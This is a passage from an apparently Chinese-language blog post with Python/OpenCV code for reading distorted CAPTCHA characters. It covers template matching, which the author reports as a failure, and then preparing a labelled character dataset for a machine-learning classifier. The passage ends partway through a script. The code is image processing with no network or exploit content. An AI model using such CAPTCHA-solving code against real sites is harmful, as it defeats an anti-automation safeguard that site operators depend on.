</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="kn">from</span> <span class="nn">extract_char</span> <span class="kn">import</span> <span class="n">extract_char</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="k">def</span> <span class="nf">rotate</span><span class="p">(</span><span class="n">img</span><span class="p">,</span> <span class="n">angle</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">    <span class="c1"># Rotation helper function</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">    <span class="n">h</span><span class="p">,</span> <span class="n">w</span> <span class="o">=</span> <span class="n">img</span><span class="o">.</span><span class="n">shape</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">    <span class="n">M</span> <span class="o">=</span> <span class="n">cv2</span><span class="o">.</span><span class="n">getRotationMatrix2D</span><span class="p">((</span><span class="n">w</span> <span class="o">/</span> <span class="mi">2</span><span class="p">,</span> <span class="n">h</span> <span class="o">/</span> <span class="mi">2</span><span class="p">),</span> <span class="n">angle</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">    <span class="k">return</span> <span class="n">cv2</span><span class="o">.</span><span class="n">warpAffine</span><span class="p">(</span><span class="n">img</span><span class="p">,</span> <span class="n">M</span><span class="p">,</span> <span class="p">(</span><span class="n">w</span><span class="p">,</span> <span class="n">h</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">
</span></span><span class="line"><span class="ln">13</span><span class="cl">
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="k">def</span> <span class="nf">tempTrans</span><span class="p">(</span><span class="n">raw_img</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">    <span class="c1"># Do rotation and extract_char to templates</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">    <span class="n">ret</span> <span class="o">=</span> <span class="nb">list</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="o">-</span><span class="mi">100</span><span class="p">,</span> <span class="mi">100</span><span class="p">,</span> <span class="mi">20</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">        <span class="k">if</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">            <span class="n">i</span> <span class="o">+=</span> <span class="mi">360</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">        <span class="n">img</span> <span class="o">=</span> <span class="n">rotate</span><span class="p">(</span><span class="n">raw_img</span><span class="o">.</span><span class="n">copy</span><span class="p">(),</span> <span class="n">i</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">        <span class="n">ret</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">extract_char</span><span class="p">(</span><span class="n">img</span><span class="p">,</span> <span class="kc">False</span><span class="p">,</span> <span class="mi">7</span><span class="p">)[</span><span class="mi">0</span><span class="p">])</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">    <span class="k">return</span> <span class="n">ret</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">
</span></span><span class="line"><span class="ln">24</span><span class="cl">
</span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="k">def</span> <span class="nf">translate</span><span class="p">(</span><span class="n">name</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">    <span class="c1"># Get the corresponding character based on filename</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">    <span class="n">parts</span> <span class="o">=</span> <span class="n">name</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">&#34;_&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">    <span class="k">return</span> <span class="n">parts</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">
</span></span><span class="line"><span class="ln">30</span><span class="cl">
</span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="k">def</span> <span class="nf">match</span><span class="p">(</span><span class="n">img</span><span class="p">,</span> <span class="n">templates</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">    <span class="n">anslist</span> <span class="o">=</span> <span class="nb">dict</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">    <span class="c1"># Iter throught templates</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">    <span class="k">for</span> <span class="n">template</span> <span class="ow">in</span> <span class="n">templates</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">        <span class="c1"># Rotate templates</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">        <span class="k">for</span> <span class="n">rot_template</span> <span class="ow">in</span> <span class="n">tempTrans</span><span class="p">(</span><span class="n">template</span><span class="p">[</span><span class="mi">0</span><span class="p">]):</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">            <span class="n">h</span><span class="p">,</span> <span class="n">w</span> <span class="o">=</span> <span class="n">rot_template</span><span class="o">.</span><span class="n">shape</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">            <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="o">-</span><span class="mi">8</span><span class="p">,</span> <span class="mi">8</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl">                <span class="c1"># Change template size</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl">                <span class="n">temp</span> <span class="o">=</span> <span class="n">cv2</span><span class="o">.</span><span class="n">resize</span><span class="p">(</span><span class="n">rot_template</span><span class="o">.</span><span class="n">copy</span><span class="p">(),</span> <span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">h</span><span class="o">*</span><span class="p">(</span><span class="mi">1</span> <span class="o">-</span> <span class="mf">0.015</span><span class="o">*</span><span class="n">i</span><span class="p">)),</span> <span class="nb">int</span><span class="p">(</span><span class="n">w</span><span class="o">*</span><span class="p">(</span><span class="mi">1</span> <span class="o">-</span> <span class="mf">0.015</span><span class="o">*</span><span class="n">i</span><span class="p">))))</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl">                
</span></span><span class="line"><span class="ln">42</span><span class="cl">                <span class="c1"># Match it</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl">                <span class="n">result</span> <span class="o">=</span> <span class="n">cv2</span><span class="o">.</span><span class="n">matchTemplate</span><span class="p">(</span><span class="n">img</span><span class="p">,</span> <span class="n">temp</span><span class="p">,</span> <span class="n">cv2</span><span class="o">.</span><span class="n">TM_CCOEFF_NORMED</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">44</span><span class="cl">                
</span></span><span class="line"><span class="ln">45</span><span class="cl">                <span class="c1"># Find numbers above threshold</span>
</span></span><span class="line"><span class="ln">46</span><span class="cl">                <span class="n">threshold</span> <span class="o">=</span> <span class="mf">0.65</span>
</span></span><span class="line"><span class="ln">47</span><span class="cl">                <span class="n">loc</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">where</span><span class="p">(</span><span class="n">result</span> <span class="o">&gt;=</span> <span class="n">threshold</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">48</span><span class="cl">                <span class="n">ans</span> <span class="o">=</span> <span class="n">translate</span><span class="p">(</span><span class="n">template</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>
</span></span><span class="line"><span class="ln">49</span><span class="cl">                <span class="k">if</span> <span class="n">ans</span> <span class="ow">in</span> <span class="n">anslist</span><span class="o">.</span><span class="n">keys</span><span class="p">():</span>
</span></span><span class="line"><span class="ln">50</span><span class="cl">                    <span class="n">anslist</span><span class="p">[</span><span class="n">ans</span><span class="p">]</span> <span class="o">+=</span> <span class="n">loc</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">size</span>
</span></span><span class="line"><span class="ln">51</span><span class="cl">                <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">52</span><span class="cl">                    <span class="n">anslist</span><span class="p">[</span><span class="n">ans</span><span class="p">]</span> <span class="o">=</span> <span class="n">loc</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">size</span>
</span></span><span class="line"><span class="ln">53</span><span class="cl">    <span class="n">anslist</span> <span class="o">=</span> <span class="nb">sorted</span><span class="p">(</span><span class="n">anslist</span><span class="o">.</span><span class="n">items</span><span class="p">(),</span> <span class="n">key</span><span class="o">=</span><span class="k">lambda</span> <span class="n">x</span><span class="p">:</span> <span class="n">x</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="n">reverse</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">54</span><span class="cl">    <span class="k">return</span> <span class="n">anslist</span><span class="p">[</span><span class="mi">0</span><span class="p">][</span><span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">55</span><span class="cl">
</span></span><span class="line"><span class="ln">56</span><span class="cl">
</span></span><span class="line"><span class="ln">57</span><span class="cl"><span class="k">def</span> <span class="nf">recognize</span><span class="p">(</span><span class="n">imgList</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">58</span><span class="cl">    <span class="c1"># Prepare templates</span>
</span></span><span class="line"><span class="ln">59</span><span class="cl">    <span class="n">template_paths</span> <span class="o">=</span> <span class="n">glob</span><span class="o">.</span><span class="n">glob</span><span class="p">(</span><span class="s2">&#34;./template/*.png&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">60</span><span class="cl">    <span class="n">templates</span> <span class="o">=</span> <span class="nb">list</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">61</span><span class="cl">    <span class="k">for</span> <span class="n">path</span> <span class="ow">in</span> <span class="n">template_paths</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">62</span><span class="cl">        <span class="n">templates</span><span class="o">.</span><span class="n">append</span><span class="p">((</span><span class="n">cv2</span><span class="o">.</span><span class="n">imread</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span> <span class="n">path</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">&#34;</span><span class="se">\\</span><span class="s2">&#34;</span><span class="p">)[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">&#34;.&#34;</span><span class="p">)[</span><span class="mi">0</span><span class="p">]))</span>
</span></span><span class="line"><span class="ln">63</span><span class="cl">    
</span></span><span class="line"><span class="ln">64</span><span class="cl">    <span class="c1"># Recognize captchas</span>
</span></span><span class="line"><span class="ln">65</span><span class="cl">    <span class="n">ansList</span> <span class="o">=</span> <span class="nb">list</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">66</span><span class="cl">    <span class="k">for</span> <span class="n">img</span><span class="p">,</span> <span class="n">path</span> <span class="ow">in</span> <span class="n">imgList</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">67</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="n">path</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">68</span><span class="cl">        <span class="n">chars</span> <span class="o">=</span> <span class="n">extract_char</span><span class="p">(</span><span class="n">img</span><span class="p">,</span> <span class="kc">True</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">69</span><span class="cl">        
</span></span><span class="line"><span class="ln">70</span><span class="cl">        <span class="n">ansStr</span> <span class="o">=</span> <span class="nb">str</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">71</span><span class="cl">        <span class="k">for</span> <span class="n">char</span> <span class="ow">in</span> <span class="n">chars</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">72</span><span class="cl">            <span class="n">ans</span> <span class="o">=</span> <span class="k">match</span><span class="p">(</span><span class="n">char</span><span class="p">,</span> <span class="n">templates</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">73</span><span class="cl">            <span class="n">ansStr</span> <span class="o">+=</span> <span class="n">ans</span>
</span></span><span class="line"><span class="ln">74</span><span class="cl">        <span class="n">ansList</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">ansStr</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">75</span><span class="cl">        
</span></span><span class="line"><span class="ln">76</span><span class="cl">    <span class="k">return</span> <span class="n">ansList</span>
</span></span><span class="line"><span class="ln">77</span><span class="cl">
</span></span><span class="line"><span class="ln">78</span><span class="cl">
</span></span><span class="line"><span class="ln">79</span><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">&#34;__main__&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">80</span><span class="cl">    <span class="c1"># Get captcha images</span>
</span></span><span class="line"><span class="ln">81</span><span class="cl">    <span class="n">imgList</span> <span class="o">=</span> <span class="nb">list</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">82</span><span class="cl">    <span class="n">imgPaths</span> <span class="o">=</span> <span class="n">glob</span><span class="o">.</span><span class="n">glob</span><span class="p">(</span><span class="s2">&#34;./captcha/*.jpg&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">83</span><span class="cl">    <span class="k">for</span> <span class="n">path</span> <span class="ow">in</span> <span class="n">imgPaths</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">84</span><span class="cl">        <span class="n">imgList</span><span class="o">.</span><span class="n">append</span><span class="p">((</span><span class="n">cv2</span><span class="o">.</span><span class="n">imread</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span> <span class="n">path</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">85</span><span class="cl">    
</span></span><span class="line"><span class="ln">86</span><span class="cl">    <span class="c1"># Recognize them</span>
</span></span><span class="line"><span class="ln">87</span><span class="cl">    <span class="n">ans</span> <span class="o">=</span> <span class="n">recognize</span><span class="p">(</span><span class="n">imgList</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">88</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">ans</span><span class="p">)</span></span></span></code></pre></div><h3 id="结果">结果</h3>
<p>由于模板匹配的粗糙特性，这种方法的效果非常差劲。存在几个问题：</p>
<ol>
<li>有些字符因为难以矫正的巨大扭曲，而完全无法与模板匹配上。</li>
<li>有很多字符会与其他字符匹配度更高。例如非常讨厌的 <code>l</code> (Lima)，凡是中间会有一竖条的字符，识别结果里常常会有它，而且极可能名列榜首。其实我拿到的数据集中并不存在 <code>l</code> 这个字符，但是光靠一个很小的数据集我没法确定到底有没有它，无法直接排除 <code>l</code>。</li>
<li>有些字符旋转以后会和别的字符完全一致。这里要点名批评 <code>q``b</code>，<code>6``9</code>，<code>u``n</code>。一旦旋转矫正出现问题，他们就会直接变成另一个字符。而由于原图中每个字符都有不同的变形和旋转，我现有的程序难以辨认一个字符的正确朝向并予以矫正。</li>
<li>矫正过程中的拉伸会导致一些字符无法区分。<code>0``o</code>，<code>1``7</code> 在拉伸变换到正方形后，会变得完全一致无法区分。部分情况下，<code>h``n</code> 也会同样难以区分。</li>
<li>性能差劲。由于自适应匹配需要进行大量的尝试，因此会消耗大量的时间。</li>
<li>几乎每一张验证码都会至少有那么一两个字符扭曲非常厉害。而验证码这种东西，要么全对，要么一个字符错就算全错。这导致单字符的识别准确率提升并没有什么大作用，全图识别的准确率几乎为 0。对某些参数的精细调整也许可以强行使一张特定的图片识别准确，但是对其他图片将仍然难以识别全对。</li>
</ol>
<p>由于这一系列难以解决的问题，模板匹配这条路宣告失败。</p>
<h2 id="机器学习">机器学习</h2>
<p>既然 9102 年了，在这个炼丹当道的世代，当然是要试试机器学习的。</p>
<h3 id="思路">思路</h3>
<p>用机器学习做验证码有两种思路：</p>
<ol>
<li>直接把整张图扔进去，输出一整串结果向量。</li>
<li>分别抠出字符，然后做字符的分类识别。</li>
</ol>
<p>如果验证码是属于那种有干扰噪声，但是字符本身较为规整变形不多的情况，可以考虑采用第一种情况。然而现在我这个情况实属变形得可怕，在数据集不足的情况下我决定还是走第二条路。毕竟抠字的代码现成可用，所以并不用费什么功夫。</p>
<h3 id="数据集">数据集</h3>
<p>不过需要做一点小魔改。之前 <code>extract_char()</code> 函数里，我在第一次四边形变换矫正的时候，用的是四边形近似的方法。这个方法非常激进，在一些情况下（近似的四边形接触到字符的像素的时候）会造成字符矫正过度反而难以辨认，但是在总体上能够提升模板匹配的准确率。既然现在换成神经网络，那就不需要这么过度的矫正了，第一步的四边形变换就可以换成简单的最小外接矩形。下面是修改后的函数。</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="k">def</span> <span class="nf">extract_char</span><span class="p">(</span><span class="n">img</span><span class="p">,</span> <span class="n">reverse_color</span><span class="p">,</span> <span class="nb">iter</span><span class="o">=</span><span class="mi">2</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">    <span class="c1"># Binary, dilation</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">    <span class="k">if</span> <span class="n">reverse_color</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">        <span class="n">_</span><span class="p">,</span> <span class="n">binary</span> <span class="o">=</span> <span class="n">cv2</span><span class="o">.</span><span class="n">threshold</span><span class="p">(</span><span class="n">img</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">255</span><span class="p">,</span> <span class="n">cv2</span><span class="o">.</span><span class="n">THRESH_OTSU</span> <span class="o">+</span> <span class="n">cv2</span><span class="o">.</span><span class="n">THRESH_BINARY_INV</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">    <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">        <span class="n">_</span><span class="p">,</span> <span class="n">binary</span> <span class="o">=</span> <span class="n">cv2</span><span class="o">.</span><span class="n">threshold</span><span class="p">(</span><span class="n">img</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">255</span><span class="p">,</span> <span class="n">cv2</span><span class="o">.</span><span class="n">THRESH_OTSU</span> <span class="o">+</span> <span class="n">cv2</span><span class="o">.</span><span class="n">THRESH_BINARY</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">    <span class="n">kernel</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">ones</span><span class="p">((</span><span class="mi">3</span><span class="p">,</span> <span class="mi">3</span><span class="p">),</span> <span class="n">np</span><span class="o">.</span><span class="n">uint8</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">    <span class="n">dilation</span> <span class="o">=</span> <span class="n">cv2</span><span class="o">.</span><span class="n">dilate</span><span class="p">(</span><span class="n">binary</span><span class="p">,</span> <span class="n">kernel</span><span class="p">,</span> <span class="n">iterations</span><span class="o">=</span><span class="nb">iter</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">    
</span></span><span class="line"><span class="ln">10</span><span class="cl">    <span class="c1"># Find contours, sort them</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">    <span class="n">contours</span><span class="p">,</span> <span class="n">hierarchy</span> <span class="o">=</span> <span class="n">cv2</span><span class="o">.</span><span class="n">findContours</span><span class="p">(</span><span class="n">dilation</span><span class="p">,</span> <span class="n">cv2</span><span class="o">.</span><span class="n">RETR_EXTERNAL</span><span class="p">,</span> <span class="n">cv2</span><span class="o">.</span><span class="n">CHAIN_APPROX_SIMPLE</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">    <span class="n">contours</span> <span class="o">=</span> <span class="nb">sorted</span><span class="p">(</span><span class="n">contours</span><span class="p">,</span> <span class="n">key</span><span class="o">=</span><span class="p">(</span><span class="k">lambda</span> <span class="n">x</span><span class="p">:</span> <span class="p">(</span><span class="n">x</span><span class="p">[</span><span class="mi">0</span><span class="p">][</span><span class="mi">0</span><span class="p">][</span><span class="mi">0</span><span class="p">],</span> <span class="n">x</span><span class="p">[</span><span class="mi">0</span><span class="p">][</span><span class="mi">0</span><span class="p">][</span><span class="mi">1</span><span class="p">])))</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">    
</span></span><span class="line"><span class="ln">14</span><span class="cl">    <span class="n">chars</span> <span class="o">=</span> <span class="nb">list</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">    
</span></span><span class="line"><span class="ln">16</span><span class="cl">    <span class="k">for</span> <span class="n">cnt</span> <span class="ow">in</span> <span class="n">contours</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">        <span class="c1"># Find rectangle</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">        <span class="n">rect</span> <span class="o">=</span> <span class="n">cv2</span><span class="o">.</span><span class="n">minAreaRect</span><span class="p">(</span><span class="n">cnt</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">        <span class="n">box</span> <span class="o">=</span> <span class="n">cv2</span><span class="o">.</span><span class="n">boxPoints</span><span class="p">(</span><span class="n">rect</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">        <span class="n">box</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">float32</span><span class="p">(</span><span class="n">box</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">        
</span></span><span class="line"><span class="ln">22</span><span class="cl">        <span class="c1"># Transform to a single image</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">        <span class="n">points</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">float32</span><span class="p">([[</span><span class="mi">25</span><span class="p">,</span> <span class="mi">125</span><span class="p">],</span> <span class="p">[</span><span class="mi">25</span><span class="p">,</span> <span class="mi">25</span><span class="p">],</span> <span class="p">[</span><span class="mi">125</span><span class="p">,</span> <span class="mi">25</span><span class="p">]])</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">        <span class="n">M</span> <span class="o">=</span> <span class="n">cv2</span><span class="o">.</span><span class="n">getAffineTransform</span><span class="p">(</span><span class="n">box</span><span class="p">[</span><span class="mi">0</span><span class="p">:</span><span class="mi">3</span><span class="p">],</span> <span class="n">points</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">        <span class="n">processed</span> <span class="o">=</span> <span class="n">cv2</span><span class="o">.</span><span class="n">warpAffine</span><span class="p">(</span><span class="n">binary</span><span class="p">,</span> <span class="n">M</span><span class="p">,</span> <span class="p">(</span><span class="mi">150</span><span class="p">,</span> <span class="mi">150</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">        <span class="k">if</span> <span class="n">rect</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">&lt;=</span> <span class="o">-</span><span class="mf">80.0</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">            <span class="n">processed</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">rot90</span><span class="p">(</span><span class="n">processed</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">        
</span></span><span class="line"><span class="ln">29</span><span class="cl">        <span class="c1"># Refind countour</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">        <span class="n">kernel</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">ones</span><span class="p">((</span><span class="mi">11</span><span class="p">,</span> <span class="mi">11</span><span class="p">),</span> <span class="n">np</span><span class="o">.</span><span class="n">uint8</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">        <span class="n">_dilation</span> <span class="o">=</span> <span class="n">cv2</span><span class="o">.</span><span class="n">dilate</span><span class="p">(</span><span class="n">processed</span><span class="p">,</span> <span class="n">kernel</span><span class="p">,</span> <span class="n">iterations</span><span class="o">=</span><span class="mi">5</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">        <span class="n">_contours</span><span class="p">,</span> <span class="n">_hierarchy</span> <span class="o">=</span> <span class="n">cv2</span><span class="o">.</span><span class="n">findContours</span><span class="p">(</span><span class="n">_dilation</span><span class="p">,</span> <span class="n">cv2</span><span class="o">.</span><span class="n">RETR_EXTERNAL</span><span class="p">,</span> <span class="n">cv2</span><span class="o">.</span><span class="n">CHAIN_APPROX_SIMPLE</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">        
</span></span><span class="line"><span class="ln">34</span><span class="cl">        <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">_contours</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">1</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">            <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;HELPPPPP More Than ONE Contours&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">            <span class="nb">print</span><span class="p">(</span><span class="n">_contours</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">        
</span></span><span class="line"><span class="ln">38</span><span class="cl">        <span class="n">cnt</span> <span class="o">=</span> <span class="n">_contours</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl">        
</span></span><span class="line"><span class="ln">40</span><span class="cl">        <span class="c1"># Find rectangle</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl">        <span class="n">rect</span> <span class="o">=</span> <span class="n">cv2</span><span class="o">.</span><span class="n">minAreaRect</span><span class="p">(</span><span class="n">cnt</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">42</span><span class="cl">        <span class="n">box</span> <span class="o">=</span> <span class="n">cv2</span><span class="o">.</span><span class="n">boxPoints</span><span class="p">(</span><span class="n">rect</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl">        <span class="n">box</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">float32</span><span class="p">(</span><span class="n">box</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">44</span><span class="cl">        
</span></span><span class="line"><span class="ln">45</span><span class="cl">        <span class="c1"># Transform to a single image</span>
</span></span><span class="line"><span class="ln">46</span><span class="cl">        <span class="n">points</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">float32</span><span class="p">([[</span><span class="mi">0</span><span class="p">,</span> <span class="mi">100</span><span class="p">],</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">],</span> <span class="p">[</span><span class="mi">100</span><span class="p">,</span> <span class="mi">0</span><span class="p">]])</span>
</span></span><span class="line"><span class="ln">47</span><span class="cl">        <span class="n">M</span> <span class="o">=</span> <span class="n">cv2</span><span class="o">.</span><span class="n">getAffineTransform</span><span class="p">(</span><span class="n">box</span><span class="p">[</span><span class="mi">0</span><span class="p">:</span><span class="mi">3</span><span class="p">],</span> <span class="n">points</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">48</span><span class="cl">        <span class="n">processed</span> <span class="o">=</span> <span class="n">cv2</span><span class="o">.</span><span class="n">warpAffine</span><span class="p">(</span><span class="n">processed</span><span class="p">,</span> <span class="n">M</span><span class="p">,</span> <span class="p">(</span><span class="mi">100</span><span class="p">,</span> <span class="mi">100</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">49</span><span class="cl">        <span class="k">if</span> <span class="n">rect</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">&lt;=</span> <span class="o">-</span><span class="mf">80.0</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">50</span><span class="cl">            <span class="n">processed</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">rot90</span><span class="p">(</span><span class="n">processed</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">51</span><span class="cl">        
</span></span><span class="line"><span class="ln">52</span><span class="cl">        <span class="n">chars</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">processed</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">53</span><span class="cl">    
</span></span><span class="line"><span class="ln">54</span><span class="cl">    <span class="k">return</span> <span class="n">chars</span></span></span></code></pre></div><p>最后生成的字符是这个样子：</p>
<p><img src="../SE-captcha.assets/train-example.png" alt="train-example"></p>
<p>前期我把拿到的所有验证码图片都先做了标注，然后用一个脚本批量把每个字符归类放到各自的文件夹里，于是获得了这样的画风：</p>
<p><img src="../SE-captcha.assets/train-1.png" alt="train-1"></p>
<p><img src="../SE-captcha.assets/train-3.png" alt="train-3"></p>
<p><img src="../SE-captcha.assets/train-t.png" alt="train-t"></p>
<p>（没错，就是 <code>t3st1n</code> 最多）</p>
<p>用一个简单脚本可以计算数据集均值。</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="nn">np</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="kn">import</span> <span class="nn">cv2</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="kn">import</span> <span class="nn">glob</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
